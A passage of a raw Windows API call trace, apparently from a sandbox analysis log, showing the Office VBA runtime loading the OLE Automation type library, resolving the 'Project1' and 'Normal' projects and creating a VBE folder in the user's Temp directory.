lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Project1", lpUsedDefaultChar=0x0) returned 9 [0068.265] lstrlenA (lpString="Project1") returned 8 [0068.270] QueryPathOfRegTypeLib (in: guid=0x7ff9bdf0d268*(Data1=0x20430, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), wMaj=0x2, wMin=0x0, lcid=0x0, lpbstrPathName=0xbcb38f4f78 | out: lpbstrPathName=0xbcb38f4f78) returned 0x0 [0068.271] lstrlenA (lpString="C:\\Windows\\System32\\stdole2.tlb") returned 31 [0068.271] malloc (_Size=0x20) returned 0x2885bb670d0 [0068.271] malloc (_Size=0x20) returned 0x2885bb66f20 [0068.271] lstrcpyA (in: lpString1=0x2885bb670d0, lpString2="C:\\Windows\\System32\\stdole2.tlb" | out: lpString1="C:\\Windows\\System32\\stdole2.tlb") returned="C:\\Windows\\System32\\stdole2.tlb" [0068.272] _access_s (_FileName="C:\\Windows\\System32\\stdole2.tlb", _AccessMode=0) returned 0x0 [0068.272] LoadTypeLib (in: szFile="C:\\Windows\\System32\\stdole2.tlb", pptlib=0xbcb38f52e8*=0x0 | out: pptlib=0xbcb38f52e8*=0x2884e335eb0) returned 0x0 [0068.272] LoadTypeLib (in: szFile="C:\\Windows\\System32\\stdole2.tlb", pptlib=0xbcb38f4178*=0x0 | out: pptlib=0xbcb38f4178*=0x2884e335eb0) returned 0x0 [0068.272] ITypeLib:RemoteGetDocumentation (in: This=0x2884e335eb0, index=-1, refPtrFlags=0xb38f4198, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x60 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x60) returned 0x0 [0068.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="stdole", cchWideChar=7, lpMultiByteStr=0xbcb38f4080, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="stdole", lpUsedDefaultChar=0x0) returned 7 [0068.272] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="stdole") returned 0x406093 [0068.272] IUnknown:QueryInterface (in: This=0x2884e335eb0, riid=0x7ff9bdefb198*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4058 | out: ppvObject=0xbcb38f4058*=0x0) returned 0x80004002 [0068.272] GetLocalTime (in: lpSystemTime=0xbcb38f3f00 | out: lpSystemTime=0xbcb38f3f00*(wYear=0x7e4, wMonth=0xa, wDayOfWeek=0x0, wDay=0x4, wHour=0x17, wMinute=0x35, wSecond=0x38, wMilliseconds=0x36f)) [0068.272] wcsncpy_s (in: _Destination=0xbcb38f3bb0, _SizeInWords=0x108, _Source="*\\Z016168c314", _MaxCount=0x106 | out: _Destination="*\\Z016168c314") returned 0x0 [0068.272] CharLowerBuffW (in: lpsz="*\\Z016168c314", cchLength=0xd | out: lpsz="*\\z016168c314") returned 0xd [0068.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z016168c314", cchWideChar=14, lpMultiByteStr=0xbcb38f3ae0, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z016168c314", lpUsedDefaultChar=0x0) returned 14 [0068.272] _wcsicmp (_String1="*\\Z016168c314", _String2="*\\Z016168c314") returned 0 [0068.273] IUnknown:QueryInterface (in: This=0x2884e335eb0, riid=0x7ff9bdefb198*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f3f88 | out: ppvObject=0xbcb38f3f88*=0x0) returned 0x80004002 [0068.273] ITypeLib:RemoteGetLibAttr (in: This=0x2884e335eb0, ppTLibAttr=0xbcb38f3f80, pDummy=0xbcb38f3f88 | out: ppTLibAttr=0xbcb38f3f80, pDummy=0xbcb38f3f88*=0x0) returned 0x0 [0068.273] ITypeLib:RemoteGetDocumentation (in: This=0x2884e335eb0, index=-1, refPtrFlags=0x0, pBstrName=0xbcb38f3f78, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pBstrName=0xbcb38f3f78*="OLE Automation", pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0068.273] StringFromGUID2 (in: rguid=0x288574fe070*(Data1=0x20430, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0xbcb38f3fa0, cchMax=39 | out: lpsz="{00020430-0000-0000-C000-000000000046}") returned 39 [0068.273] _ultow_s (in: _Value=0x2, _Buffer=0xbcb38f3eea, _BufferCount=0x10, _Radix=16 | out: _Buffer="2") returned 0x0 [0068.273] _ultow_s (in: _Value=0x0, _Buffer=0xbcb38f3eee, _BufferCount=0xe, _Radix=16 | out: _Buffer="0") returned 0x0 [0068.273] _ultow_s (in: _Value=0x0, _Buffer=0xbcb38f3ef2, _BufferCount=0xc, _Radix=16 | out: _Buffer="0") returned 0x0 [0068.273] wcscpy_s (in: _Destination=0x2884e41eb78, _SizeInWords=0x5f, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0068.273] wcscpy_s (in: _Destination=0x2884e41eb7e, _SizeInWords=0x5c, _Source="{00020430-0000-0000-C000-000000000046}" | out: _Destination="{00020430-0000-0000-C000-000000000046}") returned 0x0 [0068.273] wcscpy_s (in: _Destination=0x2884e41ebca, _SizeInWords=0x36, _Source="#2.0#0#" | out: _Destination="#2.0#0#") returned 0x0 [0068.273] wcscpy_s (in: _Destination=0x2884e41ebd8, _SizeInWords=0x2f, _Source="C:\\Windows\\System32\\stdole2.tlb" | out: _Destination="C:\\Windows\\System32\\stdole2.tlb") returned 0x0 [0068.273] wcscpy_s (in: _Destination=0x2884e41ec18, _SizeInWords=0xf, _Source="OLE Automation" | out: _Destination="OLE Automation") returned 0x0 [0068.273] ITypeLib:LocalReleaseTLibAttr (This=0x2884e335eb0) returned 0x0 [0068.273] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885d464f30, cb=0x680) returned 0x2885d635140 [0068.273] wcscpy_s (in: _Destination=0x2885d6353d8, _SizeInWords=0x5f, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation" | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation") returned 0x0 [0068.273] ITypeLib:RemoteGetDocumentation (in: This=0x2884e335eb0, index=-1, refPtrFlags=0xb38f4098, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x1 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x1) returned 0x0 [0068.273] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="stdole") returned 0x406093 [0068.273] strcpy_s (in: _Dst=0xbcb38f3e90, _DstSize=0x7, _Src="stdole" | out: _Dst="stdole") returned 0x0 [0068.273] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f3e90, cbMultiByte=7, lpWideCharStr=0xbcb38f3ce0, cchWideChar=7 | out: lpWideCharStr="stdole") returned 7 [0068.273] IUnknown:AddRef (This=0x2885d4c6250) returned 0x3 [0068.273] ITypeLib:RemoteIsName (in: This=0x2885d4c6250, szNameBuf="stdole", lHashVal=0x406093, pfName=0xbcb38f3db0, pBstrLibName=0xbcb38f3ce0 | out: pfName=0xbcb38f3db0*=0, pBstrLibName=0xbcb38f3ce0) returned 0x0 [0068.273] IUnknown:Release (This=0x2885d4c6250) returned 0x2 [0068.273] IUnknown:AddRef (This=0x28857594370) returned 0x5 [0068.273] ITypeLib:RemoteIsName (in: This=0x28857594370, szNameBuf="stdole", lHashVal=0x406093, pfName=0xbcb38f3db0, pBstrLibName=0xbcb38f3ce0 | out: pfName=0xbcb38f3db0*=0, pBstrLibName=0xbcb38f3ce0) returned 0x0 [0068.274] IUnknown:Release (This=0x28857594370) returned 0x4 [0068.274] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2885d125200 [0068.274] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d5fe670) [0068.274] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2885d125140 [0068.274] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885d125140, cb=0x50) returned 0x2885d44cc80 [0068.274] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d125200) [0068.274] wcsncpy_s (in: _Destination=0xbcb38f3c90, _SizeInWords=0x108, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation", _MaxCount=0x106 | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation") returned 0x0 [0068.274] CharLowerBuffW (in: lpsz="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation", cchLength=0x5e | out: lpsz="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation") returned 0x5e [0068.274] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xbe) returned 0x2885d57f4c0 [0068.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation", cchWideChar=95, lpMultiByteStr=0x2885d57f4c0, cbMultiByte=190, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation", lpUsedDefaultChar=0x0) returned 95 [0068.274] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d57f4c0) [0068.274] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885d2671b0, cb=0x880) returned 0x2885d6357d0 [0068.274] wcscpy_s (in: _Destination=0x2885d635b68, _SizeInWords=0x5f, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation" | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation") returned 0x0 [0068.274] wcsncpy_s (in: _Destination=0xbcb38f3cd0, _SizeInWords=0x108, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation", _MaxCount=0x106 | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation") returned 0x0 [0068.274] CharLowerBuffW (in: lpsz="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation", cchLength=0x5e | out: lpsz="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation") returned 0x5e [0068.274] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xbe) returned 0x2885d5809e0 [0068.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation", cchWideChar=95, lpMultiByteStr=0x2885d5809e0, cbMultiByte=190, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation", lpUsedDefaultChar=0x0) returned 95 [0068.274] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d5809e0) [0068.274] wcsncpy_s (in: _Destination=0xbcb38f3c90, _SizeInWords=0x108, _Source="*\\Z016168c314", _MaxCount=0x106 | out: _Destination="*\\Z016168c314") returned 0x0 [0068.274] CharLowerBuffW (in: lpsz="*\\Z016168c314", cchLength=0xd | out: lpsz="*\\z016168c314") returned 0xd [0068.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z016168c314", cchWideChar=14, lpMultiByteStr=0xbcb38f3bc0, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z016168c314", lpUsedDefaultChar=0x0) returned 14 [0068.274] _wcsicmp (_String1="*\\Z016168c314", _String2="*\\Z016168c314") returned 0 [0068.274] IUnknown:AddRef (This=0x2884e335eb0) returned 0x6 [0068.274] IUnknown:QueryInterface (in: This=0x2884e335eb0, riid=0x7ff9bdefcce8*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f40b8 | out: ppvObject=0xbcb38f40b8*=0x0) returned 0x80004002 [0068.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="stdole", cchWideChar=7, lpMultiByteStr=0xbcb38f4080, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="stdole", lpUsedDefaultChar=0x0) returned 7 [0068.275] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="stdole") returned 0x406093 [0068.275] IUnknown:Release (This=0x2884e335eb0) returned 0x5 [0068.275] IUnknown:Release (This=0x2884e335eb0) returned 0x4 [0068.275] GetModuleFileNameA (in: hModule=0x7ff9bdb50000, lpFilename=0xbcb38f5220, nSize=0x104 | out: lpFilename="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll")) returned 0x42 [0068.275] strcat_s (in: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL", _SizeInBytes=0x104, _Source="\\3" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL\\3") returned 0x0 [0068.275] LoadTypeLib (in: szFile="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL\\3", pptlib=0xbcb38f5210*=0xbcb38f53d0 | out: pptlib=0xbcb38f5210*=0x2885d4c7b10) returned 0x0 [0068.301] ITypeLib:GetTypeInfoOfGuid (in: This=0x2885d4c7b10, GUID=0x7ff9bdf00bd0*(Data1=0x3832d640, Data2=0xcf90, Data3=0x11cf, Data4=([0]=0x8e, [1]=0x43, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x5a)), ppTInfo=0xbcb38f53a0 | out: ppTInfo=0xbcb38f53a0*=0x2884e2a32b8) returned 0x0 [0068.308] malloc (_Size=0x68) returned 0x2885bb6ba20 [0068.308] ITypeInfo:RemoteGetTypeAttr (in: This=0x2884e2a32b8, ppTypeAttr=0xbcb38f52f0, pDummy=0x0 | out: ppTypeAttr=0xbcb38f52f0, pDummy=0x0) returned 0x0 [0068.308] ITypeInfo:LocalReleaseTypeAttr (This=0x2884e2a32b8) returned 0x0 [0068.308] ITypeInfo:RemoteGetTypeAttr (in: This=0x2884e2a32b8, ppTypeAttr=0xbcb38f5290, pDummy=0x0 | out: ppTypeAttr=0xbcb38f5290, pDummy=0x0) returned 0x0 [0068.308] GetTempPathA (in: nBufferLength=0x104, lpBuffer=0xbcb38f5130 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\") returned 0x23 [0068.308] _access (_FileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", _AccessMode=0) returned 0 [0068.308] strnlen (_Str="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", _MaxCount=0x7fffffff) returned 0x23 [0068.308] malloc (_Size=0x24) returned 0x2885bb671c0 [0068.308] malloc (_Size=0x24) returned 0x2885bb670d0 [0068.308] lstrcpynA (in: lpString1=0x2885bb671c0, lpString2="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", iMaxLength=36 | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\") returned="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\" [0068.309] lstrlenA (lpString="VBE") returned 3 [0068.309] lstrlenA (lpString="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\") returned 35 [0068.309] _msize (_Block=0x2885bb671c0) returned 0x24 [0068.309] realloc (_Block=0x2885bb671c0, _Size=0x27) returned 0x2885bb67100 [0068.309] lstrlenA (lpString="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\") returned 35 [0068.309] lstrlenA (lpString="VBE") returned 3 [0068.309] _msize (_Block=0x2885bb670d0) returned 0x24 [0068.309] realloc (_Block=0x2885bb670d0, _Size=0x27) returned 0x2885bb66fe0 [0068.309] lstrlenA (lpString="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\") returned 35 [0068.309] lstrlenA (lpString="VBE") returned 3 [0068.309] lstrcatA (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", lpString2="VBE" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\VBE") returned="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\VBE" [0068.309] strcpy_s (in: _Dst=0x2885bb66fe0, _DstSize=0x27, _Src="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\VBE" | out: _Dst="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\VBE") returned 0x0 [0068.309] _access_s (_FileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\VBE", _AccessMode=0) returned 0x2 [0068.313] strcpy_s (in: _Dst=0x2885bb66fe0, _DstSize=0x27, _Src="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\VBE" | out: _Dst="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\VBE") returned 0x0 [0068.313] _mkdir (_Path="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\VBE") returned 0 [0068.314] strcpy_s (in: _Dst=0x2885bb66fe0, _DstSize=0x27, _Src="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\VBE" | out: _Dst="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\VBE") returned 0x0 [0068.314] strcpy_s (in: _Dst=0x2885bb66fe0, _DstSize=0x27, _Src="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\VBE" | out: _Dst="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\VBE") returned 0x0 [0068.314] strcpy_s (in: _Dst=0x2885bb66fe0, _DstSize=0x27, _Src="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\VBE" | out: _Dst="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\VBE") returned 0x0 [0068.314] _access_s (_FileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\VBE", _AccessMode=0) returned 0x0 [0068.314] IUnknown:AddRef (This=0x2884e2a32b8) returned 0x2 [0068.314] ITypeInfo:LocalReleaseTypeAttr (This=0x2884e2a32b8) returned 0x0 [0068.314] StringFromCLSID (in: rclsid=0x2885bb6ba4c*(Data1=0x3832d640, Data2=0xcf90, Data3=0x11cf, Data4=([0]=0x8e, [1]=0x43, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x5a)), lplpsz=0xbcb38f5260 | out: lplpsz=0xbcb38f5260*="{3832D640-CF90-11CF-8E43-00A0C911005A}") returned 0x0 [0068.314] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x27) returned 0x2884e1466c0 [0068.315] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d44dca0) [0068.315] lstrlenA (lpString="VBE") returned 3 [0068.315] lstrlenA (lpString="{3832D640-CF90-11CF-8E43-00A0C911005A}") returned 38 [0068.315] malloc (_Size=0x39) returned 0x2885bb68b90 [0068.315] wsprintfA (in: param_1=0x2885bb68b90, param_2="%s;%s;&H%08lX" | out: param_1="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000") returned 53 [0068.315] wsprintfA (in: param_1=0xbcb38f5288, param_2="&H%08lX" | out: param_1="&H00000001") returned 10 [0068.473] free (_Block=0x2885bb68b90) [0068.473] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2884e1466c0) [0068.473] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2884e146e70 [0068.473] GetWindowThreadProcessId (in: hWnd=0x1033a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x12d4 [0068.473] SendMessageA (hWnd=0x1033a, Msg=0x84, wParam=0x0, lParam=0x2090012) returned 0x1 [0068.473] SendMessageA (hWnd=0x1033a, Msg=0x20, wParam=0x1033a, lParam=0x2000001) returned 0x1 [0068.474] SysStringByteLen (bstr="牐橯捥ㅴ") returned 0x8 [0068.474] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x288574fe078, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0068.474] SysStringByteLen (bstr="牐橯捥ㅴ") returned 0x8 [0068.474] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x288574fe078, cbMultiByte=9, lpWideCharStr=0x2884e19c3a8, cchWideChar=9 | out: lpWideCharStr="Project1") returned 9 [0068.474] IsCharAlphaA (ch=78) returned 1 [0068.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=7, lpMultiByteStr=0xbcb38f5340, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0068.474] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Normal") returned 0x40d8df [0068.475] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=7, lpMultiByteStr=0xbcb38f5300, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0068.475] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Normal") returned 0x40d8df [0068.480] SysStringLen (param_1="Normal") returned 0x6 [0068.480] malloc (_Size=0x33) returned 0x2885bb6bd30 [0068.480] lstrlenA (lpString="Normal") returned 6 [0068.480] GetStringTypeA (in: Locale=0x411, dwInfoType=0x4, lpSrcStr="Normal", cchSrc=6, lpCharType=0x2885bb6bd30 | out: lpCharType=0x2885bb6bd30) returned 1 [0068.480] LCMapStringA (in: Locale=0x411, dwMapFlags=0x400000, lpSrcStr="Normal", cchSrc=7, lpDestStr=0x2885bb6bd3c, cchDest=13 | out: lpDestStr="Normal") returned 7 [0068.482] LCMapStringA (in: Locale=0x411, dwMapFlags=0x800000, lpSrcStr="Normal", cchSrc=7, lpDestStr=0x2885bb6bd49, cchDest=13 | out: lpDestStr="\x82m\x82\x8f\x82\x92\x82\x8d\x82\x81\x82\x8c") returned 13 [0068.484] free (_Block=0x2885bb6bd30) [0068.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=7, lpMultiByteStr=0xbcb38f4300, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0068.484] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Normal") returned 0x40d8df [0068.484] lstrlenA (lpString="Normal") returned 6 [0068.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=7, lpMultiByteStr=0xbcb38f42b0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0068.484] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Normal") returned 0x40d8df [0068.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=7, lpMultiByteStr=0xbcb38f42c0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0068.484] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Normal") returned 0x40d8df [0068.484] SysStringByteLen (bstr="牐橯捥ㅴ") returned 0x8 [0068.484] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x288574fe078, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0068.484] SysStringByteLen (bstr="牐橯捥ㅴ") returned 0x8 [0068.484] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x288574fe078, cbMultiByte=9, lpWideCharStr=0x2884e19c3a8, cchWideChar=9 | out: lpWideCharStr="Project1") returned 9 [0068.484] lstrcmpA (lpString1="Project1", lpString2="Normal") returned 1 [0068.484] CompareStringA (Locale=0x411, dwCmpFlags=0x30001, lpString1="Project1", cchCount1=-1, lpString2="Normal", cchCount2=-1) returned 3 [0068.485] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Normal") returned 0x40d8df [0068.485] GetLocalTime (in: lpSystemTime=0xbcb38f4040 | out: lpSystemTime=0xbcb38f4040*(wYear=0x7e4, wMonth=0xa, wDayOfWeek=0x0, wDay=0x4, wHour=0x17, wMinute=0x35, wSecond=0x39, wMilliseconds=0x52)) [0068.485] wcsncpy_s (in: _Destination=0xbcb38f3cf0, _SizeInWords=0x108, _Source="*\\Z016168c314", _MaxCount=0x106 | out: _Destination="*\\Z016168c314") returned 0x0 [0068.485] CharLowerBuffW (in: lpsz="*\\Z016168c314", cchLength=0xd | out: lpsz="*\\z016168c314") returned 0xd [0068.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z016168c314", cchWideChar=14, lpMultiByteStr=0xbcb38f3c20, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z016168c314", lpUsedDefaultChar=0x0) returned 14 [0068.485] _wcsicmp (_String1="*\\Z016168c314", _String2="*\\Z016168c314") returned 0 [0068.485] GetLocalTime (in: lpSystemTime=0xbcb38f4040 | out: lpSystemTime=0xbcb38f4040*(wYear=0x7e4, wMonth=0xa, wDayOfWeek=0x0, wDay=0x4, wHour=0x17, wMinute=0x35, wSecond=0x39, wMilliseconds=0x52)) [0068.485] wcsncpy_s (in: _Destination=0xbcb38f3cf0, _SizeInWords=0x108, _Source="*\\Z016168c314", _MaxCount=0x106 | out: _Destination="*\\Z016168c314") returned 0x0 [0068.485] CharLowerBuffW (in: lpsz="*\\Z016168c314", cchLength=0xd | out: lpsz="*\\z016168c314") returned 0xd [0068.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z016168c314", cchWideChar=14, lpMultiByteStr=0xbcb38f3c20, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z016168c314", lpUsedDefaultChar=0x0) returned 14 [0068.485] _wcsicmp (_String1="*\\Z016168c314", _String2="*\\Z016168c314") returned 0 [0068.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=7, lpMultiByteStr=0xbcb38f40b0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0068.485] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Normal") returned 0x40d8df [0068.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=7, lpMultiByteStr=0xbcb38f3f70, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0068.485] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Normal") returned 0x40d8df [0068.485] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Normal") returned 0x40d8df [0068.485] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2885763d520 [0068.485] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d44cc80) [0068.485] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2884e146810 [0068.485] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2884e146810, cb=0x50) returned 0x2885d44cd40 [0068.485] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885763d520) [0068.485] wcsncpy_s (in: _Destination=0xbcb38f3d70, _SizeInWords=0x108, _Source="*\\Z016168c314", _MaxCount=0x106 | out: 